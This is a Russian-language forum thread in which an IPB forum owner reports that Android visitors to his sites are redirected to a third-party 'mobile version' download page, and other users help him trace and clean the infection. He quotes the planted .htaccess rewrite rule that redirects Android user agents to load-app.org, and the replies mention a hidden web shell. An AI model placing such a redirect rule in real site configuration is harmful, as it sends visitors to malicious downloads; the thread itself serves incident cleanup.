Jump to content

Вирус на сайте. Прошу помощи!!

Featured Replies

Posted
comment_74321

Сегодня при попытке зайти на сайт с мобильного телефона меня перекинуло на какой-то левый сайт с предложением скачать мобильную версию.

load-app.org/m/mobile_version=ClearRu - вот адрес того левого сайта. Проверил другие форумы на своей учетки (еще 3) - и там тоже самое!! Проверил с другого мобильника - тоже самое.

При этом на ПК все отлично работает, проблема с сайтом только на мобильных устройствах.

Версия форумов везде 3.4.6, с момента выхода этой версии ipb ничего не обновлял, каюсь, вижу что уже 3.4.7 есть.. Подскажите как теперь действовать, как убрать этот вирус в срочном порядке.

Мой сайт: jcbforum.ru

ХЕЛП!!!

comment_74323

Зашел на сайт через телефон , все гуд, кроме того что темы не открываются там ошибка

  • Author
comment_74326

IandroidFan,

ОГОГО как такое возможно??

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} "Android" [NC]
RewriteRule ^(.*)$ __load-app.org/m/?mobile_version=CleanRu [L,R=302]

эта запись находилась в .htaccess


Зашел на сайт через телефон , все гуд, кроме того что темы не открываются там ошибка

как выяснилось только к андройду применимо...

comment_74331

Сегодня при попытке зайти на сайт с мобильного телефона меня перекинуло на какой-то левый сайт с предложением скачать мобильную версию.

load-app.org/m/mobile_version=ClearRu - вот адрес того левого сайта. Проверил другие форумы на своей учетки (еще 3) - и там тоже самое!! Проверил с другого мобильника - тоже самое.

При этом на ПК все отлично работает, проблема с сайтом только на мобильных устройствах.

Версия форумов везде 3.4.6, с момента выхода этой версии ipb ничего не обновлял, каюсь, вижу что уже 3.4.7 есть.. Подскажите как теперь действовать, как убрать этот вирус в срочном порядке.

Мой сайт: jcbforum.ru

ХЕЛП!!!

Проблема с вашим смартфоном/телефоном, подобная ситуация возникала на одном из моих форумов, гвоздь ситуации был в том, что те кто использовал iPhone и смартфоны на Android попали в тоже положение что и вы. Обратился в Яндекс-поддержку, для проверки форума, ничего не обнаружили, я посоветовал пользователям форума проверить свои телефоны на наличие троянов/вирусов, оказалось, что у тех кого перекидывало по рекламной ссылке, сидел троян..

 

 

  • Author
comment_74336

.htaccess исправлен на всех сайтах на учетке, где лежат форумы. Т.е. и на сайтах на других движках. Но проблему с компом исключаю, т.к. постоянно работаю с другими учетками этого же хостинга, там нет форумов ipb и там все норм. Видимо через ipb зараза проникла.

 

Проблема с вашим смартфоном/телефоном, подобная ситуация возникала на одном из моих форумов, гвоздь ситуации был в том, что те кто использовал iPhone и смартфоны на Android попали в тоже положение что и вы. Обратился в Яндекс-поддержку, для проверки форума, ничего не обнаружили, я посоветовал пользователям форума проверить свои телефоны на наличие троянов/вирусов, оказалось, что у тех кого перекидывало по рекламной ссылке, сидел троян..

я уже выше написал в чем проблема, и она не в смартфоне. а в посторонней записи в htaccess.

 

 

 

'?do=embed' frameborder='0' data-embedContent>>

Либо не ставили патчи, либо поставили поздно.

спасибо за ссылку, только там так и не написали где искать злочасный шелл..

comment_74337

спасибо за ссылку, только там так и не написали где искать злочасный шелл..
Можете айболитом воспользоваться.
comment_74340

Catalo, обновись до 3.4.7 и проблемы исчезнут

С чего бы? Если где-то сидит файл (а может и больше одного), который добавляет/изменяет код, то обновление не поможет.

  • Author
comment_74342

Можете айболитом воспользоваться.

в общем попробую и обновится, и айболитом воспользоваться.. как бы хуже не сделать только...

у меня была уже эпопея с шелами, времен еще 3.3 версии ipb - это кошмар какой-то)

потому и спрашиваю совета, может у кого инструкция есть как действовать..

comment_74344

С чего бы? Если где-то сидит файл (а может и больше одного), который добавляет/изменяет код, то обновление не поможет.

Да, конечно, заражённые файлы придётся чистить. Я сканировал антивирем по файлам сервера, в каждом форуме был шелл, помогла чистка файлов + обновление (применение патчей)

comment_74347

IandroidFan,

ОГОГО как такое возможно??

RewriteEngine on
RewriteCond %{HTTP_USER_AGENT} "Android" [NC]
RewriteRule ^(.*)$ __load-app.org/m/?mobile_version=CleanRu [L,R=302]

эта запись находилась в .htaccess

как выяснилось только к андройду применимо...

Запроси у хостера все изменения в файлах php на сервере,например за последнюю неделю!

У них такая возможность есть.Вот от этого и отталкивайся.

  • Author
comment_74475

откатил файлы дор заражения и закинул туда новые картинки. вроде все хорошо, всем спасибо. пойду обновляться

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.


Guest
Ответить в этой теме...

Последние посетители 0

  • No registered users viewing this page.